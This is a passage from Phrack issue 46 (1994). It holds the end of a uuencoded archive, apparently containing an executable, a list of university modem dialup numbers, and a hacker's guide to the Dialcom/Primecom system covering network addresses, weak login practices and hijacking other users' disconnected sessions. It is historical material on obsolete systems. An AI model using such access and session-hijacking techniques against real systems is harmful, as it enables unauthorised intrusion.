M4!&'FF[?8(\%O,R.V@']3Z#%Q9"GW:/_N1*J4V6_'QQ@`('CH0'F3S_Z_21;h M6,3*9R?<];1]B$?W$=>CL[\?1AL@D>;M"T‑R'O1.^0.UA_1`Y+TZ@+4‑[!S.h M'5,/>%SC\K2!D)_^‑X!\.=OF'Q*7GX74;GS7_BFH%E"R]#/`7"36Q$S?S]X(h MDJ;]`SG5]`J?\G\‑D)=TVX335)R8GCE:2$@9R'.$Z$D#J'@CJ#K2*\L5<0‑4h M*^!P8G*"M'E0V<"^N_M)W+`PG!(X1:)<H9%RIF>7JTW<JIPLJ`L>X+4=</(`h M<&D`N%SNKRYKW1Y`QJ"TS.0EQEU@;`A/.P*=8>R#^'RN($PTQO3%_2N@4D([h MXD=,B$:&>"(?H1RZEL<:^LA@0!Y5GZW;`H7H/‑Q@/L]3M#.!1=G'AT&`9<"Oh M‑;!/LP*M6QL4MX@&O>M8W[BD<^8J?1_B\L=OQ+[NMWJ%]):_Z%)'/KXD+;[Fh MJ0#&VMY.D+5.8I,V#R)^H%DPM9EUP:/BU_54%_[5"T>Y_>#\`4AX8Y_N^O7Fh MF!;!'X/E\_O"01B>(8&42QVVPO4LTEC'#!H?M@5#53O3=#_@@?H=B4#,#:;Th M!V$W(,O76R)62M&R6*_W#2#‑'$&:\0‑HMLW]:#LNP^``]`+4‑]"7LOV;EVDWh M2+O'@S‑NR1!+^;&:D3F=M5E\9%(J62W?=5VEZ*T#[(D:H%TD2U3NNLQ\CYH9h M[:\;D(Q=_&)J[5L\H.ZLR.P,=^ZS:]7BZ:,GL>F+*:OF5‑DS`E0U=*!D"6+Th M#JH7=VFOM[K>*&[^_]'W3@]U:A1(?:7R\1#JLMM5N0U\Q/[R[`:S;L52]<,$h MLA6!>\`3O>`$9&A\(+Y"Z_"=XWH#L>HK<L/2BNK3<V4WE+64J‑#N=?7L"%^!h M$#Y);H‑Q<$+3"A=K"YI\%C1/#C!K:/<`=Q*?:W`EL8WX_W!#>KV^(YI3OG!;h M;?I3?R$+?76WCU7LHWD*‑(TK%4<_Q[`OP'[F]22!DK`@RGXT4(&6C]V<2,'&h M"'#W9U@GMDE$<9T@8^R.@0F@_N54>'KG`(/2U4=;)GF[GW.XWQ7(OY6(C@2;h MKE`DC/P<$#GT@?!;‑3O‑@<(@:'LQS7(^>G/?1?&!^1,S*?/!D2:JF;:\O^5^h M><;:&4??&<WB;Y*Q1R8;YS^E8)/&#4H5,(7NGFX)^8ZFP‑[?U=KK:ES<U=!'h M$931"3K&OIZB2?\.]*LQI37CZSN/2>V./2+)ZYOK>7VU@2\W<7RG,=289$"@h M0#&C]R(;[K^)`#\'B.N6G3I=GVG>C#J8T9L<550DP7SHH.3#(/\B5‑8!*?:Dh M08/J_O_7Y$Z+3@50M*.KBQ`>?*!QN16.JO2_+WVDL`XQ>@9.'(%RVEXN_ZS#h MI49%WT'K"$1XY8,_4)X1*:)>;'WE=:6)J_K'FE7K\*E09TKW*%4JE)SO4`U^h M1/\0P(@6C/!'K5M0[872AP,X`\N)]FK7Q?D;*8!:*!)M))@Q^BR/]<EU$.PVh M,0‑$HN9WWM.13F2B.P.?‑5"`7N?:H(,']J?=ZC5T*2<&PBK_$:;WX.$/HV^/h M/7#Z>MI(+L?3[S1(I<C3EV1P3W1\HJ,‑K@]4/E7Z,Z#B.8`4&C*:K"M/XN5Sh MUCZ0H]R<BZ<[#M9V4Y_3HY"N‑Q$UC[XN6*@]X<#LH7/Y5J#GM)7@MDC;UELXh M7_(AA7.TV‑7%UWI/%Q&TU"[0;#"^'SUII,D*[C3(^ER:16+(MF>>N0TWH_3Wh M\TQ(]SZ4@U$3YKEBHA1]SKL?6<*4NS'Z^.C2%R^S[UB&A>XG7A\PP$HJC87]h M2:W0(%CJMRIM<I;7PR<06)2A:M^(@_=E$#/@+0K'4;MD=G8`%PV)8"R;8Q7Zh MOR@@YNMQ3''TZ6(2<P3>@*)/D*YZXP4!A‑#JH>'/3Y.,U‑Q=1=H@W?3_YC2>h MK6KP$_@(501_=A#@+6B9^5#LH$L6S6`L\*\!AJ%],K2)M06CIJN8B+V5O;O&h MN@4I=09CE9%'!S\PV/`%>C?KV0,F:_`=OPNF&\7>5F,)5CW$1XNG;C!"QTCKh MDAY`].W;11NY?2QQ#U*V4RHQ.>$8PG;=!83O;:X‑P/^#68:9C:X=NSX4@‑L/h M$&\]=9&+O0=>AS??Q_/*8E‑L.#*5=VF?X.K3J\L!9)*=O?T#?QZ!3:)/[JL=h

MJ9$.Q6M5XK68M3V=‑CZR35$+6T.EQ4MT#+N@N[`G`,`$9SKA`*OCF4IW>TX7h M8$:^47N`/1W1*X(H"48I;*:^!/FZ0_H<6)[OV+\%<_QOEXLH:&VD=WMK<WAKh M+T_:;)P);^]:C5T+TO)B`GIX0"^/2]0RQ;3_A<B':;V;P&SSZ_OK#T)"U@?@h M'^E\5U>:VL>KW_H+RKCDJXZST@207;3_S%*A')&:^0]H\.EEA1%<Z24_/0EBh M+PG4?+::;I4N\R=KKZ[=A"W(=`M`=.T`FD??7`"QDQVXXP/WE3L*8A+JQ017h M#/@#3*)[=2=S:3+&\G8?='<ZX‑%%'UX.C'F9\ULAF)<_7R_PZ3JB)DCTXOW\h M\G^U&/P$O‑5<$`S#N8#2>75Z5=ISL/@K6."‑<@QRVID_*6&<X7IU5_O`8UF?h M(JY4G'T.TL'GL"‑K'QZPH%/<%H>D%_H(@#W:>G5D<<ZO+/6^!RQ5T^O8/7G#h M+G8/R!54GR/CM1?UL'8?+7CC]/0&`^R9K9[M^T`Z,6JO]()$%9#S26MD1]<Ch M[Y&7!SV:D^>=&\#MZ9OO%:<Q1‑%72D^/+#`E(:^NMNCT>/]#>C:T:U(‑H;^Dh M=..<[?UU>LL`(97‑!UB2RA,;7<=P\:GH,YV0CN`)FN()2J+KY0^@2O$1I=!$h M?WE'(7=>.TJ@Q]$$.">=Y5_N#/+BPZH#Q(WX/3,`;&O+ZQ1JGP'MB,PBY/HBh MY/S^"‑F(C6ENQ('1_1LO:E#(IWKB(L(UX2)^^(^UX>T&#JC['(;M[O#_‑T'5h M%Q``+^[X3R‑^H`'V*SJP#C1W@QD)B_VU@J#‑Y0ME?^5CS'^R`HZ=`GX^)^]`h M#^=5"+NEZOO;2HFA@B4!W'"V"[P??Y)PJ?#I!&&@XG8%$CRI>K'PA</KBO/Dh MG[(V1/9$_S<F&H!A+5<^%I%/M4)ZZLQ_FJ[`)/$C)<9N,:=K.4FHH@.]\NY1h MNB817*,57#<R3?(,PAIY=O?VB[&19<8F<<>A;">609O#\VP!Z^C87NIUZ7$[h M_/MF%4;2@/V^^8'1Y33$Q+][@,9TAPG:N;6&WO(36.#:9(&1YEORS(4CV$IVh M6/425%‑G&KD0C:WCM*EC1^8L43_@F,7A://HJ5><#/`0F@PBAB;#+9D+4_YIh

MWB&Z$90!&QF497@$3D8N<+*\Q,;\1JL*BB=0O`&ALS+^=4M8‑(!@=‑.I(*76h M==N2:MJV94$R32M6;EBY>4&V!#GT+=R\<M.>14L7),JQ*4'&S(DS)TN03=..h ME?MV[ELSTW4O%RZ$?A;Y#>]6@‑‑PP8`#L*CO'/K5:%*F1;\F=6KTR3E@4P08h M.'#@@`&V@04WE0^)AH8B9[60<L?8,"%#A@PBX18M_I?84`)CE>T%AN5H7``Rh M*6#*).$!SR2!,0.^(!A`@,J^"#B#8``+*DDD2K=UV;)‑88ROT+Q'N`,+PICFh M:2`8P\;1$@@6>)#A)BR*QW`?TKK#>=SMQG0)$Z28VQUI6KIMP[H%F91N6#:6h M6F$^A94NJA‑DR;D@>29U"[>.^6;3LBWK@SG2F$XS<LOB3+9L%Y?J<@$6E>,Yh MRWF?+AK$/LT[2CG_W;X1VZ0^+1GS[Y3#OD$:80ZN''8,V.8‑?@Y8TV&LLD?#h M6H,L4V3?VK7GGNK0ZOZ29(9]+DL%Q:S9^^YH!\'Z+L,R#P1E*W80^Q*</5>Qh M)I1CC#9%NE53Q8D[`*/‑CX/XFE8I=D<S+;8'‑TOVNVB^K"A1JM#WE2M3>NT)h

M$V])O"E#&#M,F"G:2;EE%LYRW:(4\\S[#)N9=Y‑G@UO+DA&"S=FB=8XT1.O/h MTXFO?=2GC^2EVF!ZF`T5=%YL]K%KLKC=LG+‑LGU[)WJ``[;YC&T).OW/8`^2h M;%J[::9HL&_R5@`&SG.`BQBU#/%U;K6CAW‑TXIM](R=WTQX3=N,I]=?N_`$0h MFVTL1U:<CJQH&30H"‑$RHE4&T7*WO='=G@4)]PW<‑C6+MK<G@^\!S'F,M=ECh MFS@5E8>=.X>5$QM+J/\'4$L!`@H!"@````8`4K>9:;N‑E4+('0``_2T```L`h M`````````````````````$U38W)Y<'0N97AE4$L%!@`````!``$`.0```/$=h $``````#!h

`h

end

The Phrack University Dialup List

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 13 of 28

****************************************

The Phrack University Dialup List

[We've been compiling all these for months now, and still have hundreds more to add. If you know dialups for any other .EDU sites or Universities elsewhere in the world that are on

the Internet, please mail them to us at phrack@well.com.

Please, Universities ONLY...this is a list to assist students. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

201‑529‑6731 RAMAPO.EDU

201‑596‑3500 NJIT.EDU

201‑648‑1010 RUTGERS.EDU

203‑432‑9642 YALE.EDU

205‑895‑6792 UAH.EDU

206‑296‑6250 SEATTLEU.EDU

206‑552‑5996 WASHINGTON.EDU

685‑7724

7796

209‑278‑7366 CSUFRESNO.EDU

209‑632‑7522 CALSTATE.EDU

209‑474‑5784 CSUSTAN.EDU

523‑2173

667‑3130

723‑2810

210‑381‑3681 PANAM.EDU

3590

210‑982‑0289 UTB.EDU

212‑206‑1571 NEWSCHOOL.EDU

229‑5326

212‑854‑1812 COLUMBIA.EDU

1824

1896

3726

9924

212‑995‑3600 NYU.EDU

4343

213‑225‑6028 CALSTATELA.EDU

213‑259‑2732 OXY.EDU

213‑740‑9500 USC.EDU

214‑368‑1721 SMU.EDU

3131

215‑359‑5071 DCCC.EDU

215‑436‑2199 WCUPA.EDU

6935

215‑489‑0351 URSINIUS.EDU

215‑572‑5784 BEAVER.EDU

215‑641‑6436 MC3.EDU

215‑204‑1010 TEMPLE.EDU

9630

9638

215‑889‑1336 PSU.EDU

215‑895‑1600 DREXEL.EDU

5896

215‑896‑1318 HAVERFORD.EDU

1824

215‑898‑8670 UPENN.EDU

6184

0834

3157

216‑368‑8888 CWRU.EDU

217‑333‑4000 UIUC.EDU

3700

244‑5109

4976

255‑9000

219‑237‑4116 INDIANA.EDU

4117

4186

4187

4190

4413

4415

262‑1082

481‑6905

980‑6553

6556

6866

6869

219‑989‑2900 PURDUE.EDU

301‑403‑4444 UMD.EDU

303‑270‑4865 COLORADO.EDU

447‑1564

492‑0346

1900

1949

1953

1968

1998

938‑1283

303‑458‑3588 REGIS.EDU

303‑556‑4982 MSCD.EDU

623‑0763

0774

892‑1014

303‑698‑0515 DU.EDU

871‑3319

3324

4770

309‑438‑8070 ILSTU.EDU

8200

309‑677‑3250 BRADLEY.EDU

310‑769‑1892 CALSTATE.EDU

310‑985‑9540 CSULB.EDU

312‑362‑1061 DEPAUL.EDU

312‑413‑3200 UIC.EDU

3212

312‑753‑0975 UCHICAGO.EDU

313‑764‑4800 MERIT.EDU

258‑6811

313‑487‑4451 EMICH.EDU

314‑883‑7000 MISSOURI.EDU

315‑443‑1320 SYR.EDU

1330

3396

1045

317‑285‑1000 BSU.EDU

1003

1005

1019

1048

1064

1068

1070

1076

1077

1087

1088

1089

1090

1099

1107

1108

317‑494‑6106 PURDUE.EDU

496‑2000

317‑455‑2426 INDIANA.EDU

973‑8265

318‑261‑9662 USL.EDU

9674

319‑335‑6200 UIOWA.EDU

402‑280‑2119 CREIGHTON.EDU

404‑727‑8644 EMORY.EDU

404‑894‑2191 GATECH.EDU

2193

2195

407‑722‑2202 FIT.EDU

407‑823‑2020 UCF.EDU

407‑835‑4488 PBAC.EDU

408‑425‑8930 UCSC.EDU

408‑554‑5050 SCU.EDU

9652

408‑924‑1054 CALSTATE.EDU

409‑294‑1965 SHSU.EDU

409‑568‑6028 SFASU.EDU

410‑329‑3281 UMD.EDU

744‑8000

333‑7447

410‑516‑4620 JHU.EDU

5350

410‑788‑7854 UMBC.EDU

410‑837‑5750 UBALT.EDU

412‑396‑5101 DUQ.EDU

412‑578‑9896 CMU.EDU

268‑6901

856‑0815

412‑621‑5954 PITT.EDU

2582

3655

3720

8072

836‑7123

9997

412‑938‑4063 CUP.EDU

413‑538‑2345 MTHOLYOKE.EDU

413‑545‑0755 UMASS.EDU

3161

3050

3056

5345

3100

3780

413‑585‑3769 SMITH.EDU

413‑597‑3107 WILLIAMS.EDU

415‑333‑1077 CALSTATE.EDU

415‑338‑1200 SFSU.EDU

2400

415‑380‑0000 STANFORD.EDU

416‑492‑0239 TORONTO.EDU

501‑575‑3150 UARK.EDU

3506

7254

7266

8690

502‑588‑7027 LOUISVILLE.EDU

6020

8999

503‑245‑5511 PCC.EDU

503‑346‑5975 UOREGON.EDU

2150

3536

503‑370‑2500 WILLAMETTE.EDU

503‑725‑3100 PDX.EDU

3144

3201

5220

5401

503‑737‑1513 ORST.EDU

1517

1560

1569

503‑777‑7757 REED.EDU

504‑286‑7300 UNO.EDU

504‑334‑1024 LSU.EDU

505‑277‑9990 UNM.EDU

5950

6390

505‑646‑4942 NMSU.EDU

508‑798‑0166 WPI.EDU

509‑375‑9326 WSU.EDU

510‑643‑9600 BERKELEY.EDU

510‑727‑1841 CSUHAYWARD.EDU

512‑245‑2631 SWT.EDU

512‑471‑9420 UTEXAS.EDU

475‑9996

513‑327‑6188 WITTENBERG.EDU

513‑556‑7000 UC.EDU

517‑336‑3200 MSU.EDU

351‑9640

518‑276‑2856 RPI.EDU

8898

8400

2857

2858

8990

518‑435‑4110 ALBANY.EDU

4160

519‑725‑5100 WATERLOO.EDU

601‑325‑4060 MSSTATE.EDU

2830

8348

602‑435‑3444 MARICOPA.EDU

602‑965‑7860 ASU.EDU

603‑643‑6300 DARTMOUTH.EDU

604‑753‑3245 MALPITA.EDU

606‑622‑2340 EKU.EDU

606‑257‑1232 UKY.EDU

1353

1361

1474

2836

4244

5627

258‑1996

2400

1200

323‑1996

2400

2700

609‑258‑2630 PRINCETON.EDU

609‑896‑3959 RIDER.EDU

610‑683‑3692 KUTZTOWN.EDU

612‑626‑1920 UMN.EDU

2460

9600

614‑292‑3103 OHIO‑STATE.EDU

3112

3124

3196

614‑593‑9124 OHIOU.EDU

615‑322‑3551 VANDERBILT.EDU

3556

343‑0446

1524

615‑372‑3900 TNTECH.EDU

615‑974‑3201 UTK.EDU

4282

6711

6741

6811

8131

616‑394‑7120 HOPE.EDU

617‑258‑7111 MIT.EDU

257‑6222

617‑287‑4000 UMB.EDU

265‑8503

617‑353‑3500 BU.EDU

4596

9118

9415

9600

617‑373‑8660 NEU.EDU

617‑437‑8668 NORTHEASTERN.EDU

617‑495‑7111 HARVARD.EDU

617‑727‑5920 MASS.EDU

619‑292‑7514 UCSD.EDU

436‑7148

452‑4390

4398

8280

8238

9367

453‑9366

480‑0651

534‑5890

6900

6908

558‑7047

7080

9097

619‑594‑7700 SDSU.EDU

619‑752‑7964 CSUSM.EDU

702‑895‑3955 UNLV.EDU

703‑831‑5393 RUNET.EDU

703‑993‑3536 GMU.EDU

707‑664‑8093 CALSTATE.EDU

822‑6205

707‑826‑4621 HUMBOLDT.EDU

708‑467‑1500 NWU.EDU

713‑749‑7700 UH.EDU

7741

7751

714‑364‑9496 CALSTATE.EDU

714‑773‑3111 FULLERTON.EDU

526‑0334

714‑856‑8960 UCI.EDU

716‑273‑2400 ROCHESTER.EDU

716‑645‑6128 BUFFALO.EDU

719‑594‑9850 UCCS.EDU

535‑0044

801‑581‑5650 UTAH.EDU

8105

585‑4357

5550

803‑656‑1700 CLEMSON.EDU

804‑594‑7563 CNU.EDU

804‑924‑0577 VIRGINIA.EDU

982‑5084

805‑549‑9721 CALSTATE.EDU

643‑6386

805‑664‑0551 CSUBAK.EDU

805‑756‑7025 CALPOLY.EDU

805‑893‑8400 UCSB.EDU

806‑742‑1824 TTU.EDU

808‑946‑0722 HAWAII.EDU

956‑2294

810‑939‑3370 UMICH.EDU

812‑855‑4211 INDIANA.EDU

4212

9656

9681

944‑8725

9820

945‑6114

814‑269‑7950 PITT.EDU

7970

362‑7597

7558

827‑4486

814‑863‑0459 PSU.EDU

4820

9600

865‑2424

816‑235‑1491 UMKC.EDU

1492

1493

6020

818‑701‑0478 CSUN.EDU

901‑678‑2834 MEMST.EDU

904‑392‑5533 UFL.EDU

904‑646‑2772 UNF.EDU

2735

906‑487‑1530 MTU.EDU

907‑474‑0772 ALASKA.EDU

789‑1314

908‑571‑3555 MONMOUTH.EDU

908‑932‑4333 RUTGERS.EDU

909‑595‑3779 CSUPOMONA.EDU

909‑595‑5993 CALPOLY.EDU

598‑7104

909‑621‑8233 HMC.EDU

909‑621‑8455 POMONA.EDU

8332

909‑621‑8361 CLAREMONT.EDU

8313

8108

8509

909‑880‑8833 CSUSB.EDU

913‑864‑5310 UKANS.EDU

897‑8650

916‑456‑1441 CSUS.EDU

737‑0955

916‑752‑7900 UCDAVIS.EDU

7920

7950

916‑894‑3033 CSUCHICO.EDU

919‑681‑4900 DUKE.EDU

919‑759‑5814 WFU.EDU

919‑962‑9911 UNC.EDU

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Canada

204‑275‑6100 umanitoba.ca

6132

6150

306‑586‑5550 University of Regina

306‑933‑9400 University of Saskatchewan

403‑492‑0024 University of Alberta

0096

3214

416‑978‑3959 University of Toronto

8171

418‑545‑6010 Universite du Quebec a Chicoutimi

418‑656‑7700 laval u

3131

5523

506‑453‑4551 University of New Brunswick

4560

4609

452‑6393

514‑285‑6401 uquebec.ca

514‑340‑4449 polymtl.ca

4450

4951

343‑2411

514‑398‑8111 McGill University

8211

8711

514‑733‑2394 Universite de Montreal

1271

0832

514‑343‑2411

7835

514‑848‑8800 concordia.ca

7494

8828

4585

8834

7370

519‑661‑3511 University of Western Ontario

3512

3513

519‑252‑1101 Windsor University

519‑725‑5100 University of Waterloo

1392

604‑291‑4700 simon fraser u

4721

5947

604‑721‑2839 univ of victoria

6148

604‑822‑9600 University of British Columbia

613‑788‑3900 Carleton University

564‑5600

613‑548‑8258 Queen's University

545‑0383

613‑564‑3225 University of Ottawa

5926

613‑230‑1439 York University

705‑741‑3350 Trent University

3351

4637

709‑737‑8302 Memorial Univ. of Newfoundland

807‑346‑7770 Lakehead University

819‑569‑9041 usherb.ca

821‑8025

819‑822‑9723 bishop u

819‑595‑2028 Universite du Quebec a Hull

902‑542‑1585 acadiau.edu

902‑425‑0800 tuns.ca

420‑7945

902‑429‑8270 Saint Mary's University

902‑494‑2500 Dalhousie University

8000

902‑566‑0354 University of Prince Edward Island

905‑570‑1889 McMaster University

1046

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Rest of the World

31‑40‑435049 tue.nl

455215

430032

34‑1‑582‑1941 Facultad de Odontologia

3‑333‑9954 Barcelona Polytechnic

8991 Univ of Barcelona

581‑2091

691‑5881 Polytechnic University

34‑7‑656‑6553 Univ of Zaragosa

0108

6654

44‑3‑34‑2755 st‑andrews.ac.uk

44‑71‑413‑0790 birkbeck college

44‑524‑843878 lancashire

44‑785‑214479 staffs.ac.uk

49‑621‑292‑1020 uni‑mannheim.de

121‑0251

49‑631‑205‑2150 uni‑kl.de

3554

3629

3630

49‑8421‑5665 ku‑eichstett.de

49‑8452‑70035 tu‑muenchen.de

61‑8‑223‑2657 Univ of Adelaide

61‑9‑351‑9544 Curtin U

61‑9‑381‑1630 uwa.edu.au

2200

3054

82‑2‑962 kaist.ac.kr

A Little About Dialcom

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 14 of 28

****************************************

A L I T T L E A B O U T D I A L C O M

*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑

by

Herd Beast

(hbeast@phantom.com)

Introduction

~~~~~~~~~~~

Dialcom is an interesting system for hackers for two reasons: First, it is used by business people, reporters and many other world wide, and it offers a variety of information services, from a bulletin board to stock market updates and news services. Second, Dialcom runs on Prime machines, so using Dialcom is a good way to learn Prime. True, it's not the best, as access is generally restricted, but it's better than, say, learning VMS from Information America.

In these days, where everyone seems to be so centered about the Internet and the latest Unix holes, it's important to remember that the information super‑highway is not quite here, and many interesting things are out there and not on the Internet. Phrack has always been a good place to find out more about these things and places, and I wrote this article after reading the Dialog articles in Phrack.

Well, gentle reader, I guess that my meaning‑of‑life crap quota is full, so let's move on.

Accessing Dialcom and Logging In

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Dialcom is accessible world‑wide. It offers connection to Tymnet, Sprintnet, and other networks as well as dialin modems. Since I am not writing to Washington people only, I will specify only the easiest methods ‑‑ Tymnet and Sprintnet ‑‑ and some of the more interesting access methods.

Dialcom is basically a Primecom network. Each user has an account on one or more of the systems connected to that network. To access Dialcom, the user needs to access the machine his account is on. First, he logs into a public data network and follows the steps required to connect to a remote note. On Tymnet, this means getting to the "please log in:" prompt, and on Sprintnet it's the famous '@' prompt.

For Tymnet, you must enter at the prompt: DIALCOM;<system number> (eg, DIALCOM;57). The same goes for TYMUSA connection from outside the USA.

For Sprintnet or other PADs, you must enter the correct NUA:

System # Sprintnet NUA Tymnet NUA

======== =============

XX 3110 301003XX 3106 004551XX

(32, 34,

41 ‑ 46,

50, 52,

57, 61,

63, 64)

It should be noted that Dialcom keeps its own X.25 network, Dialnet, and the NUAs on it are those of the systems (connect to address "57" for system 57).

Dialcom has other access methods, meant to be used from outside the USA, but sometimes available from within as well.

One is a COMCO card, which is inserted into a reader connected to the computer and the modem through a serial link. The user then calls a special dial‑up number, and can connect to Dialcom (or any other NUA). The card contains a number of "tax units" which are deducted as the connection goes through, until they are exhausted and the card is useless. The user calls the dial‑up and types in ".<CR>". The amount of tax units on the card will then appear on the screen, and the user can connect to a host. COMCO dial‑ups:

Location Number

=======================

Australia +61‑02‑2813511

Belgium +32‑02‑5141710

France +33‑1‑40264075

West Germany +49‑069‑290255

Hong Kong +852‑5‑8611655

Netherlands +31‑020‑6624661

Switzerland +41‑022‑865507

United Kingdom +45‑01‑4077077 USA (Toll Free) +1‑800‑777‑4445

USA +1‑212‑747‑9051

The other way is through Infonet. I will not turn this into an Infonet guide, save to write the logon sequence needed to access Dialcom. At the '#' prompt, enter 'C'. At the "Center:" prompt, enter "DC". Dialcom NUAs are 31370093060XX, where XX is the system number.

Once the connection to a Dialcom system has been established, you will be greeted by the Prime header:

Primecom Network 19.4Q.111 System 666

Please Sign On

>

And the '>' prompt. This is a limited prompt as most commands cannot be issued at it, so you need to login.

Dialcom user id's are typically 3 alphabetic characters followed by several digits. The password may contain any character except for ",;/*" or spaces, and my experience shows that they tend to be of

intermediate complexity (most will not be found in a dictionary, but could be cracked).

Password security may become useless at this point, because the Dialcom Prime systems allow ID to take both user id and password as arguments (which some other Primes do not) and in fact, Dialcom tutorials tell users to log on like this ‑‑

>ID HBT007 IMEL8

‑‑ which makes ``shoulder surfing'' easier.

One you log on, you will see:

Dialcom Computer Services 19.4Q.111(666)

On At 14:44 07/32/94 EDT

Last On At 4:09 06/44/94 EDT

>

And again, the '>' prompt.

>off

Off At 14:45 07/32/94 EDT

Time used: 00h 00m connect, 00m 01s CPU, 00m 00s I/O.

Security at Dialcom

~~~~~~~~~~~~~~~~~~

As mentioned, while passwords are relatively secure, the manner in which they are entered is usually not.

As for the accounts themselves, it's important to understand the general way accounts exist on Dialcom. Dialcom users are usually part of a business that has an ``account group'' on Dialcom. Each user gets an account from that group (HBT027, HBT054). Each group also has a group administrator, who controls what each account can access. The administrator determines which programs (provided by Dialcom) each user can access. A foreign correspondent for a magazine might have access to the news services while other users might not. The administrator also determines how much the user can interface with the Prime OS itself. Each user can run a few basic commands (list files, delete, sign off) but above that, it's up to the administrator. The administrator may opt to remove a user from the controlling menuing system ‑‑ in which case, the user has no restrictions forced upon him.

Group administrators, however, handle only their groups, and not the Dialcom system. They need, for example, to notify Dialcom staff if they want an account removed from the system.

Another (different yet combined) part of the account/group security are accounts' ``security levels'' (seclevs). Seclevs range from 3 to 7, and determine the access an account has to various places. Seclev 4 users, for example, are not restricted to seeing only users of their group on the system, and can delete accounts from the menuing system.

User accounts own their directories and files within (but high seclevs can read other users' files). Each account's security is left in some extent to its owner, in that the user sets his own password. When setting a password, a user can set a secondary password. Any user wishing to access that user's directory will need that password. Furthermore, the user can allow other users to attach as owners to his directory if they know his password (come to think of it, couldn't they just login as him?). This is all controlled by the PASSWD program (see ``Common Commands'', below).

Dialcom also allows for login attempt security using the NET_LOCK program. NET_LOCK blocks login attempts from addresses that have registered too many login failures over a period of time (the default being blocking for 10 minutes of addresses that have registered more than 10 failed login within 5 minutes). NET_LOCK ‑DISPLAY is accessible to users of Seclev 5 and shows addresses currently blocked and general information. Other options are accessible to Seclev 7 and are: ‑ON, ‑OFF, ‑ATTEMPTS (number of attempts so that NET_LOCK will block an address), ‑LOCK_PERIOD (the period in which these attempts must occur), ‑LOCK_TIME (time to block), ‑WINDOW (a time window in which the lockout feature is disabled).

A little unrelated is the network reconnect feature of the Prime computers. When a user gets disconnected from the system because of a network failure, or for any other reason which is not the system's fault, he can log back in and reconnect into the disconnected job. When this happens, the user sees, upon logging on:

You Have a Disconnected Job:

HBT007 d09 1 109 NT NETLINK 989898989 6 3

Do You Want to Reconnect?

Which means user's HBT007 job #9 (a NETLINK command) is waiting for a reconnection. At this point, the user can continue, leaving the job to hang until the system signs it off when a certain amount of time expires; sign the job off himself; or reconnect to that job. (Try "HELP" at the prompt.) This wouldn't be important, but experience shows that many disconnections occur when someone logs into Dialcom over a network, and then uses NETLINK (or another program) to connect to another site over a network, and somewhere, some time, he issues a control sequence (let's say to tell NETLINK to do something) that gets processed by the first network, which logs him off. So there is potential to log into the middle of people's sessions (yeah, like detached ttys).

Common Commands

~~~~~~~~~~~~~~

Common commands are in reality the basic Prime commands that every account has access to. Here they are, in alphabetical order.

`CLEAR' Clear the screen.

`DATE' Shows the date at which a command was entered. Output:

>DATE

Proceed to next command

>BAH

Friday, June 38, 1994 10:01:00 AM EDT

`DEL' Deletes a file.

`DELP' Deletes several files based on wildcards. Can verify deletion of every file, and delete only file modified before, after, or between certain dates.

`ED' Is the default and simplest file editor on Dialcom (some of its brothers are JED and FED). Once invoked, ED enters INPUT mode, in which the user just types text. To enter EDIT mode, where you can issue commands, you need to press <CR> on a blank line (the same thing will get you from EDIT mode back to INPUT mode). The EDIT mode uses a pointer to a line. All commands are carried on the line that the pointer points to. "T" will bring the pointer to the top of the text, "B" to the bottom, "N" to the next line down, "U" to the next line up, and "L <word>" to the line containing <word>. ED commands include:

P: PRINT the pointer line. P<number> will print <number> of lines.

C: Change words. The format is "C/old word/new word". A: Appends words. The format is "A <words>". R: Retype pointer line. The format is "R <new line>". SP: Check the spelling of the text, and then point to the top of the text.

SAVE: Will save the text and exit ED.

Q: Will quit/abort editing and exit ED.

`F' List all file info. Output:

DIALCOM.TXT 001 13/30/94 13:50 ASC D W R

Which means file name "DIALCOM.TXT", size of 1 file blocks, lat modified on 13/30/94 at 13:50, is an ASC type file, and the account has the permissions to D(elete), W(rite), and R(ead) it.

`HELP' (`?') Displays a nicely formatted menu of available commands.

`INFO' System info. INFO <info‑file‑name> displays an information file, for example, INFO NETLINK.

"INFO ?" lists info files.

"INFO BRIEF" lists info files grouped by application "INFO INFO" lists info files with their descriptions.

`L' List all file names. Output:

<S666‑6>HBT007 (Owner)

DIALCOM.TXT

`LS' Display information about available segments and the account's access to them. Output:

2 Private static segments.

segment access

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4000 RWX

4001 RWX

11 Private dynamic segments.

segment access

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4365 RX

4366 RX

4367 RWX

4370 RWX

4371 RX

4372 RWX

4373 RX

4374 RWX

4375 RX

4376 RX

4377 RWX

`NAME' Changes UFD name. Output:

>NAME

Old Name: John Gacy

UFD Name: Herd Beast

All done

>WHO

Herd Beast <S666‑6>HBT007

`NETWORK' Accesses a database that contains dial‑up number for Sprintnet, Tymnet, Datapac and Dialcom's Dialnet by State/City.

`OFF' Sign off the system.

`ONLINE' Who's online? The amount of data displayed depends on the account's seclev. Seclevs below 4 are restricted to seeing only users of their group. Output:

HBT007 PRK017 MJR

`PAD' Allows you to send commands to an X.29 PAD, these commands being the SET/SET?/PAR? commands and their parameter/value pairs.

`PASSWD' Change your password. PASSWD has two forms: a short one, which just changes the user's password, and a long form, invoked by PASSWD ‑LONG, which allows the user to set a second password for other users accessing his directory, and also to determine if they can have owner access to the directory.

`PROTECT' Protects a file (removes permissions from it).

"PROTECT DIALCOM.TXT" will remove all three (D, W, R) attributes from it. This will result in:

>DEL DIALCOM.TXT

Insufficient access rights. DIALCOM.TXT (DEL:10)

But ‑‑

>DELETE DIALCOM.TXT

"DIALCOM.TXT" protected, ok to force delete? y

`SECLEV' Your security level. Output:

Seclev=5

`SIZE' Size information about a file. Output:

1 Block, 404 Words

`STORAGE' Shows storage information.

`SY' Show users on system. (Same restrictions as for ONLINE apply.) Will show user name, time on, idle time, devices used, current jobs and state, etc. Output:

41 Users on sys 666

Names use idle mem State command object devs

HBT007 *11 0 155 R1 SY 6 3 from Tymnet via X.25

